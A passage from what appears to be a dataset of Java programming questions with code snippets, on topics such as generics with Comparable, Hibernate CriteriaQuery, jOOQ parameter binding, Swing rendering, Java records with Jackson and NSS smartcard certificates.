, 3000 ) , new Employee ( `` John '' , 19 , 2000 ) ) // some conversations go here ... .forEach ( e - > someOperationWithEmployee ( e.getName , e.getAge ( ) , e.getSalary ) ) ; Stream.of ( new Employee ( `` Adam '' , 38 , 3000 ) , new Employee ( `` John '' , 19 , 2000 ) ) // some conversations go here .forEach ( ( a , b , c ) - > someOperationWithEmployee ( a , b , c ) ) ;",Splitting objects inside Java stream +Java,"Suppose that I have an ( unsorted in any way ) array : I want to sort it so that the second column is in ascending order : Here are the ways that I thought about dealing with this : Make each [ x y z ] value into a list , and correlate each xyz value with an identifier , whose property is the y-value of the xyz value . Then , sort the identifiers . ( I 'm not sure if sorting Java arrays keeps the corresponding values in that row ) Use a hashmap to do the same thing as the previousHowever , the above 2 methods are obviously somewhat wasteful and complicated since they rely on an external identifier value which is unneeded , so is there a simpler , faster , and more elegant way to do this ? Sorry if this is a dumb question , I 'm not familiar at all with the way that Java sorts arrays .",[ 12 64 35 ] [ 95 89 95 ] [ 32 54 09 ] [ 87 56 12 ] [ 32 54 09 ] [ 87 56 12 ] [ 12 64 35 ] [ 95 89 95 ],Simplest way to sort coordinates by y-value in Java ? +Java,"When migrating from Hibernate Criteria api to CriteriaQuery I ran into a generic DAO for a abstract class that has a where on a common field but does a select on their id , even if the ids are totally different per class.The old projection looks like thisIs there any way to do this in a similar way with CriteriaQuery ? Edit : Full criteria code","criteria.setProjection ( Projections.id ( ) ) ; DetachedCriteria detachedCriteria = DetachedCriteria.forClass ( MyEntity.class ) ; detachedCriteria.add ( Restrictions.in ( `` accountID '' , accounts ) ) ; detachedCriteria.setProjection ( Projections.id ( ) ) ; EntityManager em = ... ; Criteria criteria = detachedCriteria.getExecutableCriteria ( ( Session ) em.getDelegate ( ) ) ; List < Integer > list = criteria.list ( ) ;",Selecting generic primary key with CriteriaQuery +Java,"I 'm trying to generate named queries for JPA entities using table name specified in @ Table annotation with structural search and replace.So to start I 'm trying the following template : I have many classes like : and if I replace with the same template , it correctly grabs that $ param $ is name , $ clazz $ is correct class name , but $ value $ is empty.I 'm using IDEA 12 build 128.101What am I doing wrong ? Thank you .",@ Table ( $ param $ = $ value $ ) public class $ clazz $ @ Table ( name = `` Some Table '' ) public class SomeClass,Get annotation parameter with IntelliJ IDEA structural search +Java,"I am trying to do a full text search in a postgres database using jOOQ . The following line works : But when I add variable binding , to protect from SQL injection , I no longer get results : Any ideas ? Thanks and good day","Result res = pgContext.select ( ) .from ( products.PRODUCTS ) .where ( `` to_tsvector ( title || ' ' || description || ' ' || tags ) @ @ to_tsquery ( ' '' + query + `` ' ) '' ) .fetch ( ) ; Result res = pgContext.select ( ) .from ( products.PRODUCTS ) .where ( `` to_tsvector ( title || ' ' || description || ' ' || tags ) @ @ to_tsquery ( ' ? ' ) '' , query ) .fetch ( ) ;",Full text search and variable binding using postgres and jOOQ not working +Java,"I have a main class -- Simulator -- that uses two other classes -- Producer and Evaluator . Producer produces results , while the Evaluator evaluates those results . The Simulator controls the flow of execution by querying the Producer and then conveying the results to the Evaluator.The actual implementation of the Producer and Evaluator are known at run-time , at compile time I only know their interfaces . Below I paste the contents of interfaces , example implementations and the Simulator class.Old codeThis code should compile and run . You should get the same result ( 0.82 ) regardless which producer implementation you select.Compiler warns me about not using generics in several places : In Simulator class , in interfaces IEvaluator and IProducer , and in classes that implement the IProducer interface , I get the following warning , whenever I reference the Comparable interface : Comparable is a raw type . References to generic type Comparable should be parameterizedIn classes that implement IEvaluator I get the following warning ( when calling compareTo ( ) on the values of Map ) : Type safety : The method compareTo ( Object ) belongs to the raw type Comparable . References to generic type Comparable should be parameterizedAll that said , the Simulator works . Now , I 'd like to get rid of compile warnings . The problem is , that I have no idea , how to parametrize the interfaces IEvaluator and IProducer , and how to change the implementations of IProducer and IEvaluator . I have some limitations : I can not know the type of values in the Map that the producer will return . But I know , that they will all be of the same type and that they will implement the Comparable interface . Similarly , the IEvaluator instance does not need to know anything about results that is evaluating , except that they are of the same type and that they are comparable ( IEvaluator implemetations need to be able to call the compareTo ( ) method. ) . I have to to keep the Simulator class out of this `` Comparable '' dilemma -- it does not need to know anything about those types ( besides being of the same type , which is also comparable ) . Its job is to simply convey results from Producer to Evaluator.Any ideas ? Edited and revised versionUsing some ideas from answers below , I got to this stage , which compiles and runs without warnings and with no need to use SuppressWarnings directive . This is very similar to what Eero suggested , but the main method is a bit different.The key difference seems to be in the main method , which currently looks like this.This works . However , If I change the code to this : The darn thing wo n't even compile , saying : Bound mismatch : The generic method evaluate ( Map , Map ) of type IEvaluator is not applicable for the arguments ( Map > , Map ) . The inferred type capture # 3-of ? extends Comparable is not a valid substitute for the bounded parameter > This is totally weird to me . The code works if I invoke the evaluator.evaluate ( producer.getResults ( ) , groundTruth ) . However , if I first call producer.getResults ( ) method , and store it to a variable , and then invoke the evaluate method with that variable ( evaluator.evaluate ( ranks , groundTruth ) ) , I get the compile error ( regardless of that variable 's type ) .","package com.test ; import java.util.ArrayList ; import java.util.HashMap ; import java.util.List ; import java.util.Map ; import java.util.Map.Entry ; /** * Producers produce results . I do not care what is their type , but the values * in the map have to be comparable amongst themselves . */interface IProducer { public Map < Integer , Comparable > getResults ( ) ; } /** * This implementation ranks items in the map by using Strings . */class ProducerA implements IProducer { @ Override public Map < Integer , Comparable > getResults ( ) { Map < Integer , Comparable > result = new HashMap < Integer , Comparable > ( ) ; result.put ( 1 , `` A '' ) ; result.put ( 2 , `` B '' ) ; result.put ( 3 , `` B '' ) ; return result ; } } /** * This implementation ranks items in the map by using integers . */class ProducerB implements IProducer { @ Override public Map < Integer , Comparable > getResults ( ) { Map < Integer , Comparable > result = new HashMap < Integer , Comparable > ( ) ; result.put ( 1 , 10 ) ; result.put ( 2 , 30 ) ; result.put ( 3 , 30 ) ; return result ; } } /** * Evaluator evaluates the results against the given groundTruth . All it needs * to know about results , is that they are comparable amongst themselves . */interface IEvaluator { public double evaluate ( Map < Integer , Comparable > results , Map < Integer , Double > groundTruth ) ; } /** * This is example of an evaluator ( a metric ) -- Kendall 's Tau B . */class KendallTauB implements IEvaluator { @ Override public double evaluate ( Map < Integer , Comparable > results , Map < Integer , Double > groundTruth ) { int concordant = 0 , discordant = 0 , tiedRanks = 0 , tiedCapabilities = 0 ; for ( Entry < Integer , Comparable > rank1 : results.entrySet ( ) ) { for ( Entry < Integer , Comparable > rank2 : results.entrySet ( ) ) { if ( rank1.getKey ( ) < rank2.getKey ( ) ) { final Comparable r1 = rank1.getValue ( ) ; final Comparable r2 = rank2.getValue ( ) ; final Double c1 = groundTruth.get ( rank1.getKey ( ) ) ; final Double c2 = groundTruth.get ( rank2.getKey ( ) ) ; final int rankDiff = r1.compareTo ( r2 ) ; final int capDiff = c1.compareTo ( c2 ) ; if ( rankDiff * capDiff > 0 ) { concordant++ ; } else if ( rankDiff * capDiff < 0 ) { discordant++ ; } else { if ( rankDiff == 0 ) tiedRanks++ ; if ( capDiff == 0 ) tiedCapabilities++ ; } } } } final double n = results.size ( ) * ( results.size ( ) - 1d ) / 2d ; return ( concordant - discordant ) / Math.sqrt ( ( n - tiedRanks ) * ( n - tiedCapabilities ) ) ; } } /** * The simulator class that queries the producer and them conveys results to the * evaluator . */public class Simulator { public static void main ( String [ ] args ) { Map < Integer , Double > groundTruth = new HashMap < Integer , Double > ( ) ; groundTruth.put ( 1 , 1d ) ; groundTruth.put ( 2 , 2d ) ; groundTruth.put ( 3 , 3d ) ; List < IProducer > producerImplementations = lookUpProducers ( ) ; List < IEvaluator > evaluatorImplementations = lookUpEvaluators ( ) ; IProducer producer = producerImplementations.get ( 1 ) ; // pick a producer IEvaluator evaluator = evaluatorImplementations.get ( 0 ) ; // pick an evaluator // Notice that this class should NOT know what actually comes from // producers ( besides that is comparable ) Map < Integer , Comparable > results = producer.getResults ( ) ; double score = evaluator.evaluate ( results , groundTruth ) ; System.out.printf ( `` Score is % .2f\n '' , score ) ; } // Methods below are for demonstration purposes only . I 'm actually using // ServiceLoader.load ( Clazz ) to dynamically discover and load classes that // implement these interfaces public static List < IProducer > lookUpProducers ( ) { List < IProducer > producers = new ArrayList < IProducer > ( ) ; producers.add ( new ProducerA ( ) ) ; producers.add ( new ProducerB ( ) ) ; return producers ; } public static List < IEvaluator > lookUpEvaluators ( ) { List < IEvaluator > evaluators = new ArrayList < IEvaluator > ( ) ; evaluators.add ( new KendallTauB ( ) ) ; return evaluators ; } } package com.test ; import java.util.ArrayList ; import java.util.HashMap ; import java.util.List ; import java.util.Map ; import java.util.Map.Entry ; /** * Producers produce results . I do not care what is their type , but the values * in the map have to be comparable amongst themselves . */interface IProducer < T extends Comparable < T > > { public Map < Integer , T > getResults ( ) ; } /** * This implementation ranks items in the map by using Strings . */class ProducerA implements IProducer < String > { @ Override public Map < Integer , String > getResults ( ) { Map < Integer , String > result = new HashMap < Integer , String > ( ) ; result.put ( 1 , `` A '' ) ; result.put ( 2 , `` B '' ) ; result.put ( 3 , `` B '' ) ; return result ; } } /** * This implementation ranks items in the map by using integers . */class ProducerB implements IProducer < Integer > { @ Override public Map < Integer , Integer > getResults ( ) { Map < Integer , Integer > result = new HashMap < Integer , Integer > ( ) ; result.put ( 1 , 10 ) ; result.put ( 2 , 30 ) ; result.put ( 3 , 30 ) ; return result ; } } /** * Evaluator evaluates the results against the given groundTruth . All it needs * to know about results , is that they are comparable amongst themselves . */interface IEvaluator { public < T extends Comparable < T > > double evaluate ( Map < Integer , T > results , Map < Integer , Double > groundTruth ) ; } /** * This is example of an evaluator ( a metric ) -- Kendall 's Tau B . */class KendallTauB implements IEvaluator { @ Override public < T extends Comparable < T > > double evaluate ( Map < Integer , T > results , Map < Integer , Double > groundTruth ) { int concordant = 0 , discordant = 0 , tiedRanks = 0 , tiedCapabilities = 0 ; for ( Entry < Integer , T > rank1 : results.entrySet ( ) ) { for ( Entry < Integer , T > rank2 : results.entrySet ( ) ) { if ( rank1.getKey ( ) < rank2.getKey ( ) ) { final T r1 = rank1.getValue ( ) ; final T r2 = rank2.getValue ( ) ; final Double c1 = groundTruth.get ( rank1.getKey ( ) ) ; final Double c2 = groundTruth.get ( rank2.getKey ( ) ) ; final int rankDiff = r1.compareTo ( r2 ) ; final int capDiff = c1.compareTo ( c2 ) ; if ( rankDiff * capDiff > 0 ) { concordant++ ; } else if ( rankDiff * capDiff < 0 ) { discordant++ ; } else { if ( rankDiff == 0 ) tiedRanks++ ; if ( capDiff == 0 ) tiedCapabilities++ ; } } } } final double n = results.size ( ) * ( results.size ( ) - 1d ) / 2d ; return ( concordant - discordant ) / Math.sqrt ( ( n - tiedRanks ) * ( n - tiedCapabilities ) ) ; } } /** * The simulator class that queries the producer and them conveys results to the * evaluator . */public class Main { public static void main ( String [ ] args ) { Map < Integer , Double > groundTruth = new HashMap < Integer , Double > ( ) ; groundTruth.put ( 1 , 1d ) ; groundTruth.put ( 2 , 2d ) ; groundTruth.put ( 3 , 3d ) ; List < IProducer < ? > > producerImplementations = lookUpProducers ( ) ; List < IEvaluator > evaluatorImplementations = lookUpEvaluators ( ) ; IProducer < ? > producer = producerImplementations.get ( 0 ) ; IEvaluator evaluator = evaluatorImplementations.get ( 0 ) ; // Notice that this class should NOT know what actually comes from // producers ( besides that is comparable ) double score = evaluator.evaluate ( producer.getResults ( ) , groundTruth ) ; System.out.printf ( `` Score is % .2f\n '' , score ) ; } // Methods below are for demonstration purposes only . I 'm actually using // ServiceLoader.load ( Clazz ) to dynamically discover and load classes that // implement these interfaces public static List < IProducer < ? > > lookUpProducers ( ) { List < IProducer < ? > > producers = new ArrayList < IProducer < ? > > ( ) ; producers.add ( new ProducerA ( ) ) ; producers.add ( new ProducerB ( ) ) ; return producers ; } public static List < IEvaluator > lookUpEvaluators ( ) { List < IEvaluator > evaluators = new ArrayList < IEvaluator > ( ) ; evaluators.add ( new KendallTauB ( ) ) ; return evaluators ; } } public static void main ( String [ ] args ) { Map < Integer , Double > groundTruth = new HashMap < Integer , Double > ( ) ; groundTruth.put ( 1 , 1d ) ; groundTruth.put ( 2 , 2d ) ; groundTruth.put ( 3 , 3d ) ; List < IProducer < ? > > producerImplementations = lookUpProducers ( ) ; List < IEvaluator > evaluatorImplementations = lookUpEvaluators ( ) ; IProducer < ? > producer = producerImplementations.get ( 0 ) ; IEvaluator evaluator = evaluatorImplementations.get ( 0 ) ; // Notice that this class should NOT know what actually comes from // producers ( besides that is comparable ) double score = evaluator.evaluate ( producer.getResults ( ) , groundTruth ) ; System.out.printf ( `` Score is % .2f\n '' , score ) ; } public static void main ( String [ ] args ) { Map < Integer , Double > groundTruth = new HashMap < Integer , Double > ( ) ; groundTruth.put ( 1 , 1d ) ; groundTruth.put ( 2 , 2d ) ; groundTruth.put ( 3 , 3d ) ; List < IProducer < ? > > producerImplementations = lookUpProducers ( ) ; List < IEvaluator > evaluatorImplementations = lookUpEvaluators ( ) ; IProducer < ? > producer = producerImplementations.get ( 0 ) ; IEvaluator evaluator = evaluatorImplementations.get ( 0 ) ; // Notice that this class should NOT know what actually comes from // producers ( besides that is comparable ) // Lines below changed Map < Integer , ? extends Comparable < ? > > ranks = producer.getResults ( ) ; double score = evaluator.evaluate ( ranks , groundTruth ) ; System.out.printf ( `` Score is % .2f\n '' , score ) ; }",How to parametrize Comparable interface ? +Java,"I 've read Oracle 's expressions tutorial and could n't understand this.It is well known that the following line of code is valid Java syntax : However , when I try this with a primitive expression : Eclipse is showing a compile error of `` The left-hand side of an assignment must be a variable '' .This is true not only for primitives , but also for String literals : So what is the rule for an unassigned expression to be valid as a Java line of code ?",new Object ( ) ; ( 3 + 2 ) ; `` arbitraryString '' ;,When is an unassigned expression a valid statement ? +Java,"Sorry for the bad title , but I found the code listed below on mkyoung.com and was wondering what this code does . Is this a way in Java to set some default value into a variable ?","public class LanguageBean implements Serializable { private static Map < String , Object > countries ; static { countries = new LinkedHashMap < String , Object > ( ) ; countries.put ( `` English '' , Locale.ENGLISH ) ; //label , value countries.put ( `` Chinese '' , Locale.SIMPLIFIED_CHINESE ) ; } }",static method with static default code ? +Java,"I wanted to bring my question to the bigger audience as we already discussed for some time in our company and can not find an answer.Let us suppose we have Transaction object which is aggregate root.Inside Transaction we have Money which is value object . and Such Transaction can be persisted ( we use hibernate ) to db into simple table transactionAnd everything would be great but ... customer requires us to have currency table in database ( we call them dictionary tables ) and every table ( including transaction ) that have money need to point to the currency table : So from now on , Money object should look like this : And from now we can not call it value object : ( or can we ? It also complicates the way we are persisting the object as we can not use hibernate embedable any more as we need to write our own custom type enter link description here . For sure we are not the first one facing this problems as dictionary types are popular in use , question is , how to treat them in scope of ddd modeling.We will face similar problem when dealing with adresses . So , we know we have dictionaries like Country and FederalState ( which are hierarchical ) . And we also know that many object in our application ( e.g . Institution ) have thei own adresses but also have connection to FederalState . So in simpe case we would have : whereBut we need it to have relation to fedral state table , therefore Address will look like : so we face again the same problem , Address is not value object from now on.We know how to do it technically but what is the right approach from the perspective od ddd ?",class Transaction { private Money money ; // other stuff } class Money { private BigDecimal amount ; private String currency ; } + -- -- -- -- -- -- -- -- -+| transaction |+ -- -- -- -- -- -- -- -- -+|id : bigint ||amount : decimal ||currency : varchar||other ... |+ -- -- -- -- -- -- -- -- -+ + -- -- -- -- -- -- -- -- -+ + -- -- -- -- -- -- -- -- -+| transaction | |curency |+ -- -- -- -- -- -- -- -- -+ + -- -- -- -- -- -- -- -- -+|id : bigint | + -- - > | id : bigint ||amount : decimal | | | code : varchar ||curr_id : bigint | -- -- + | name : varchar ||other ... | + -- -- -- -- -- -- -- -- -++ -- -- -- -- -- -- -- -- -+ class Money { private BigDecimal amount ; private Currency currency ; } class Institution { Address address ; // ... } class Address { String street ; String houseNo ; // etc.. String federalState ; String country ; } class Address { String street ; String houseNo ; // etc.. FederalState federalState ; },DDD Modeling of value object and entities and dictionary types +Java,"Is it possible , in Java , to enforce that a class have a specific set of subclasses and no others ? For example : Can I somehow enforce that no other subclasses of A can ever be created ?",public abstract class A { } public final class B extends A { } public final class C extends A { } public final class D extends A { },Is there a way to implement algebraic types in Java ? +Java,"I have a method which needs a Comparator for one of its parameters . I would like to pass a Comparator which does a normal comparison and a reverse comparator which does in reverse.java.util.Collections provides a reverseOrder ( ) this is good for the reverse comparison , but I could not find any normal Comparator.The only solution what came into my mind is Collections.reverseOrder ( Collections.reverseOrder ( ) ) . but I do n't like it because the double method calling inside.Of course I could write a NormalComparator like this : But I 'm really surprised that Java does n't have a solution for this out of the box .","public class NormalComparator < T extends Comparable > implements Comparator < T > { public int compare ( T o1 , T o2 ) { return o1.compareTo ( o2 ) ; } }",Direct comparator in Java out of the box +Java,I got this violation on return statement in following method : Are there any visibility issues related to token field ? As I understand after synchronized block token should have its latest value . Am I missing something or it is false positive ?,protected Token getAccessToken ( ) { synchronized ( this ) { if ( token == null || isExpired ( token ) ) token = createToken ( ) ; } return token ; // < -- Inconsistent synchronization of blablabla.token ; locked 75 % of time },inconsistent synchronisation violation +Java,"When i execute sql commands , i.e . create table inside java code , does it matter if i write : Or this : Or it is both same thing , just different syntax ?","db.execSQL ( `` create table mytable ( `` + `` scores int , `` + `` ) ; '' ) ; } db.execSQL ( `` create table mytable ( `` + `` scores INTEGER , '' + `` ) ; '' ) ; }",Does it matter if i write `` INTEGER '' or `` int '' in sql command inside java ? [ sqlite ] +Java,"ScenarioI am working on a Java Swing project , where I must develop a feature of listing certificates for users to choose for authentication via SSL against the server.These certificates must contain the user imported ones in Firefox , and if a smartcard is inserted , those in the card will be listed , too . The environment is Linux/MacOS . In Windows the Internet Explorer handles it all , and what we would like to achieve is much like what happens in Windows : list all certificates , along with those in card , for users to choose.SituationWhen using NSS ( Network Security Service ) of Mozilla in Ubuntu , I found I am lost . With no code samples for using JSS in Java , I can only get it to work partially , depending on the way how I load the config file for the provider.What I do now , is : read the cert in firefox ( with KeyStore , Provider and KeyStore.Builder , loading the softokn.so as the library ) .Load the cert from card with CryptoManager and get all its modules . ( CryptoManager.initialize ( profileDir ) , cm.getModules ( ) , module.getTokens ( ) , etc . ) ProblemApproach 1If I load the provider with libsoftoken3.so , I can see the user certificates . But , when I initialize the CryptoManager after constructing the provider , the external modules ( e.g. , my smart cards ) are not listed in cryptoManager.getModules ( ) .Approach 2If I load the provider with NNS 's secmod.db , the card will be listed , even if it 's not present/inserted , in the keyStore constructed with this provider . When it 's inserted , in the second step above , I can see the external modules , but then the card is listed twice , with the same alias.Question : How can I easily load all certificate in a simple way , not separately with JSS ? If it 's not possible , how can I configure the provider to load them separately but without repetition ?","config = `` library= '' + NSS_JSS_Utils.NSS_LIB_DIR + `` /libsoftokn3.so\n '' + `` name=\ '' Soft Token\ '' \n '' + `` slot=2\n '' //for softoken , can only be 2 . + `` attributes=compatibility\n '' + `` allowSingleThreadedModules=true\n '' + `` showInfo=true\n '' + `` nssArgs=\ '' configdir= ' '' + NSS_JSS_Utils.getFireFoxProfilePath ( ) + `` ' `` + `` certPrefix= '' `` + `` keyPrefix= '' `` + `` secmod='secmod.db ' `` + `` flags='readOnly'\ '' '' // + `` flags='noDb'\ '' '' + `` \n '' ; config = `` name=\ '' NSS Module\ '' \n '' + `` attributes=compatibility\n '' + `` showInfo=true\n '' + `` allowSingleThreadedModules=true\n '' + `` nssUseSecmod=true\n '' + `` nssSecmodDirectory= '' + NSS_JSS_Utils.getFireFoxProfilePath ( ) ;",NSS/JSS : load user imported cert along with PKCS # 11 smartcard in Java +Java,"I am working on a project with legacy code that had used Log4J in the past , and now uses SLF4J . Most of the old style Log4J logging statements remain , and I convert the log statements slowly to the new SLF4J style as I come across them.I 've just realised that pressing Alt+Enter when in the old style log statements gives me the following options ( unfortunately I can not upload a screenshot ) : Copy String concatenation text to the clipboardInject language or referenceReplace '+ ' with 'String.format ( ) 'Replace '+ ' with 'StringBuilder.append ( ) 'Replace '+ ' with 'java.test.MessageFormat.format ( ) 'The option Replace '+ ' with 'String.format ( ) ' is very close to what I need , although I do n't need the String.format ( bit.Is there something that would give me an Intention Action of : Replace Log4J style log statement with SLF4J style log statement ? As an example of old logging style ( e.g . Log4J ) , I mean : And by new style I mean :","LOGGER.debug ( `` User `` + user.getUserId ( ) + `` has performed a search with the criteria `` + dto ) ; LOGGER.debug ( `` User { } has performed a search with the criteria { } '' , user.getUserId ( ) , dto ) ;",IntelliJ : Is there an Intention Action to convert old style Log4J calls to new style SLF4J calls ? +Java,"So currently I get a `` Sum = 0.0 '' and a Mean equals `` NaN '' , after fighting a lot of messages that warned agains a `` possible lossy conversion from double to int '' . I think the code is finally taking doubles , but still does not do what I would like it to : take values from the command line , place them into an array , sum these and then calculate the mean.Any ideas where the errors lie ?",public class StudentMarks { protected double [ ] marks ; //create an array filled with double valuespublic StudentMarks ( double [ ] marks ) { this.marks = new double [ 0 ] ; //set the default array size } public void setMarks ( ) { this.marks = marks ; } public void getArray ( ) { //one can only print arrays using loops.. //took me a little to realise that erm . for ( int i=0 ; i < marks.length ; i++ ) System.out.println ( marks [ i ] ) ; } public double calSum ( ) { double totals = 0.0 ; for ( double i : marks ) { //double mLength = Double.parseDouble ( marks [ i ] ) ; totals+= i ; } return totals ; } //A method to calculate the mean of all elements public double calMean ( ) { double means = ( calSum ( ) /marks.length ) ; return means ; } //A main method to test public static void main ( String [ ] args ) { // Check to see if the user has actually sent a paramter to the method if ( args.length ! = 7 ) { System.out.println ( `` Usage : java RandomArray < NUM > . Example : java RandomArray 5 '' ) ; System.exit ( -1 ) ; } double [ ] prompt = new double [ args.length ] ; for ( int i =0 ; i < args.length ; i++ ) { prompt [ i ] = Double.parseDouble ( args [ i ] ) ; } StudentMarks test = new StudentMarks ( prompt ) ; test.getArray ( ) ; // Calculate the sum of all the values in the array and print it System.out.println ( `` Sum : `` + test.calSum ( ) ) ; // Calculate the mean of all the values in the array and print it System.out.println ( `` Mean : `` + test.calMean ( ) ) ; } },How do you convert command line arguments to a double array for calculating sums ? +Java,"I am trying to see if I can replace my existing Pojos with the new Record classes in Java 14 . But unable to do so . Getting following error : com.fasterxml.jackson.databind.exc.InvalidDefinitionException : Can not construct instance of com.a.a.Post ( no Creators , like default construct , exist ) : can not deserialize from Object value ( no delegate- or property-based Creator ) I get that the error is saying the record has no constructors , but from what I see the record class takes care of it in the background and relevant getters are also set in the background ( not getters exactly but id ( ) title ( ) and so on without the get prefix ) . Is it cos Spring has not adopted the latest Java 14 record yet ? Please advice . Thanks . I am doing this in Spring Boot version 2.2.6 and using Java 14 . The following works using the usual POJOs.PostClass Method to call rest service which works now as I am using the above POJO . But if I switch to following where I am using record instead , I am getting the above error.The new record class . Changing the method to use the record instead which fails . EDIT : Tried adding constructors as follows to the record Post and same error : or","public class PostClass { private int userId ; private int id ; private String title ; private String body ; public int getUserId ( ) { return userId ; } public void setUserId ( int userId ) { this.userId = userId ; } public int getId ( ) { return id ; } public void setId ( int id ) { this.id = id ; } public String getTitle ( ) { return title ; } public void setTitle ( String title ) { this.title = title ; } public String getBody ( ) { return body ; } public void setBody ( String body ) { this.body = body ; } } public PostClass [ ] getPosts ( ) throws URISyntaxException { String url = `` https : //jsonplaceholder.typicode.com/posts '' ; return template.getForEntity ( new URI ( url ) , PostClass [ ] .class ) .getBody ( ) ; } public record Post ( int userId , int id , String title , String body ) { } public Post [ ] getPosts ( ) throws URISyntaxException { String url = `` https : //jsonplaceholder.typicode.com/posts '' ; return template.getForEntity ( new URI ( url ) , Post [ ] .class ) .getBody ( ) ; } public record Post ( int userId , int id , String title , String body ) { public Post { } } public record Post ( int userId , int id , String title , String body ) { public Post ( int userId , int id , String title , String body ) { this.userId = userId ; this.id = id ; this.title = title ; this.body = body ; } }",Unable to deserialize when using new Record classes +Java,"I 'm in the process of making a 2D game in which a player roams around a maze . I want to implement some sort of `` darkness '' , even something as simple as a transparent shape around the player surrounded by black , like this : The problem I 've found using Swing is that , while this is possible , it means having to redraw everything , which produces an annoying `` flickering '' effect every time it happens . Is there a way to make some sort of overlay , or just a good way of doing this in general in Swing ? I 'm not very experienced with GUI/visual stuff right now so I 'd like to stick with Swing if possible.EDIT : This is my method to paint the background , i.e . the floor , walls and exit : I then have `` paintPlayer '' and `` paintEnemy '' methods to paint those sprites each time they move . The background only gets painted once , at the start .","public final void paintBG ( Graphics g ) { g.setColor ( Color.LIGHT_GRAY ) ; // Screen background g.fillRect ( 0 , 0 , getWidth ( ) , getHeight ( ) ) ; // Draw the Walls of the maze // scalex and y are for scaling images/walls within the maze since I let users specify how big they want the maze for ( int j = 0 ; j < this.height ; j++ , y += scaley ) { x = 20 ; for ( int i = 0 ; i < this.width ; i++ , x += scalex ) { if ( ! ( maze [ j ] [ i ] .northwall.isBroken ( ) ) ) // If the north wall is n't broken { g.drawImage ( walltile , x , y , scalex , scaley / 5 , null ) ; // Draw a wall there ( image , xpos , ypos , width , height , observer ) } if ( ! ( maze [ j ] [ i ] .eastwall.isBroken ( ) ) ) // etc { g.drawImage ( walltile , x + scalex , y , scalex / 5 , scaley , null ) ; } if ( ! ( maze [ j ] [ i ] .southwall.isBroken ( ) ) ) { g.drawImage ( walltile , x , y + scaley , scalex , scaley / 5 , null ) ; } if ( ! ( maze [ j ] [ i ] .westwall.isBroken ( ) ) ) { g.drawImage ( walltile , x , y , scalex / 5 , scaley , null ) ; } if ( ( j == mazeinfo.getTargetM ( ) ) & & ( i == mazeinfo.getTargetN ( ) ) ) { // Draw the exit g.drawImage ( jeep , x + ( scalex / 2 ) , y + ( scaley / 2 ) , cx , cy , null ) ; g.setColor ( Color.LIGHT_GRAY ) ; if ( maze [ j ] [ i ] .northwall.isEdge ( ) ) { // Paint over the edge creating a 'way out ' g.fillRect ( x , y , scalex , scaley / 4 ) ; } else if ( maze [ j ] [ i ] .eastwall.isEdge ( ) ) { g.fillRect ( x + scalex , y , scalex / 4 , scaley ) ; } else if ( maze [ j ] [ i ] .southwall.isEdge ( ) ) { g.fillRect ( x , y + scaley , scalex , scaley / 4 ) ; } else if ( maze [ j ] [ i ] .westwall.isEdge ( ) ) { g.fillRect ( x , y , scalex / 4 , scaley ) ; } } } } }",Swing simple overlay +Java,"If I have a multiplication table sized , for example , 3x5 : And I put all these numbers in order : What is the number in the middle ? In this case , it 's 5.N and M are always odd , so there can be only one answer.Is there a fast solution for this ? I 'm looking for something among the lines of O ( N log NM ) This is homework of sorts , but I 'm really lost with this one . I 've come up with some ideas , but they all had some shortcomings : This solves most of the tests fast enough ( < 4s ) , but for big N and M , the memory limits are exceeded ( I do n't know the exact limitations ) .The idea is to keep track of the occurrences of each number , and then iterate through all the numbers in order , adding the number of occurrences each iteration . When the number of occurrences is higher or equal to w * h / 2 , it is the number in the middle and we print it.Trying to overcome the memory limits , I tried counting the occurrences of each number up to the middle one as they come . I noticed that the number of occurrences in a multiplication table of each number is the number of factors they have.Not fast enough.Can anyone come up with any pointers ? I know that in the suggested O ( N log NM ) solution binary search is used.Solution ! Ok , so thanks to @ PeterdeRivaz I was able to find and implement a solution for my problem . The idea is as he describes it , and here 's the actual implementation :","1 2 3 4 52 4 6 8 103 6 9 12 15 1 2 2 3 3 4 4 5 6 6 8 9 10 12 15 public class Table { public static void main ( String [ ] ar ) { Scanner scanner = new Scanner ( System.in ) ; int w = scanner.nextInt ( ) ; int h = scanner.nextInt ( ) ; int [ ] s = new int [ w * h + 1 ] ; for ( int i = 1 ; i < = w ; i++ ) for ( int j = 1 ; j < = h ; j++ ) s [ i * j ] = s [ i * j ] + 1 ; int sum = 0 ; for ( int i = 0 ; i < s.length ; i++ ) { sum += s [ i ] ; if ( sum > = s.length / 2 ) { System.out.println ( i ) ; break ; } } } } public class Table { public static void main ( String [ ] ar ) { Scanner scanner = new Scanner ( System.in ) ; int w = scanner.nextInt ( ) ; int h = scanner.nextInt ( ) ; int sum = 0 ; for ( int i = 1 ; i < = w * h ; i++ ) { for ( int j = 1 ; j < = Math.sqrt ( i ) ; j++ ) { if ( i % j == 0 ) { int k = i / j ; if ( k < = w & & k ! = j ) sum++ ; if ( k < = h & & k ! = j ) sum++ ; if ( k < = w & & k < = h & & k == j ) sum++ ; } } if ( sum > = ( w * h + 1 ) / 2 ) { System.out.println ( i ) ; break ; } } } } 1 < = N < = 10^51 < = M < = 10^5 public class Kertotaulu { public static void main ( String [ ] ar ) { Scanner scanner = new Scanner ( System.in ) ; long h = scanner.nextLong ( ) ; long w = scanner.nextLong ( ) ; long min = 1 ; long max = w*h ; long mid = 0 ; while ( min < = max ) { mid = ( min + max ) / 2 ; long sum = 0 ; for ( int i = 1 ; i < = h ; i++ ) sum += Math.min ( mid / i , w ) ; sum -- ; if ( sum < ( w * h ) / 2 ) min = mid + 1 ; else if ( sum > ( w * h ) / 2 ) max = mid - 1 ; else break ; } long sum = 0 ; for ( int i = 1 ; i < = h ; i++ ) sum += Math.min ( ( mid - 1 ) / i , w ) ; sum -- ; if ( sum == ( w * h ) / 2 ) System.out.println ( mid - 1 ) ; else System.out.println ( mid ) ; } }","If an NxM multiplication table is put in order , what is number in the middle ?" +Java,I am using java 8.I recently came across this : This does not throw a java.lang.ClassCastException . Why is that ? I always thought + and System.out.println calls toString . But when I try to do that it throws an Exception as expected .,public class Test { public static void main ( String [ ] args ) { String ss = `` '' + ( Test. < Integer > abc ( 2 ) ) ; System.out.println ( Test. < Integer > abc ( 2 ) ) ; } public static < T > T abc ( T a ) { String s = `` adsa '' ; return ( T ) s ; } } String sss = ( Test. < Integer > abc ( 2 ) ) .toString ( ) ;,Java Generics casts strangely +Java,"I have the Person class : And the App class : In the App class the PeoplePerSkill method need to return the Set of people names per skill . It means a skill could be owned by many people.I stuck with the groupingBy ( p- > p ... ... ... .. , ) I just ca n't get the String of skill 's name , I tried so many ways but things get way stranger : ( .By the way , currently my code returns Map < Object , Set < String > >","import java.util . * ; public 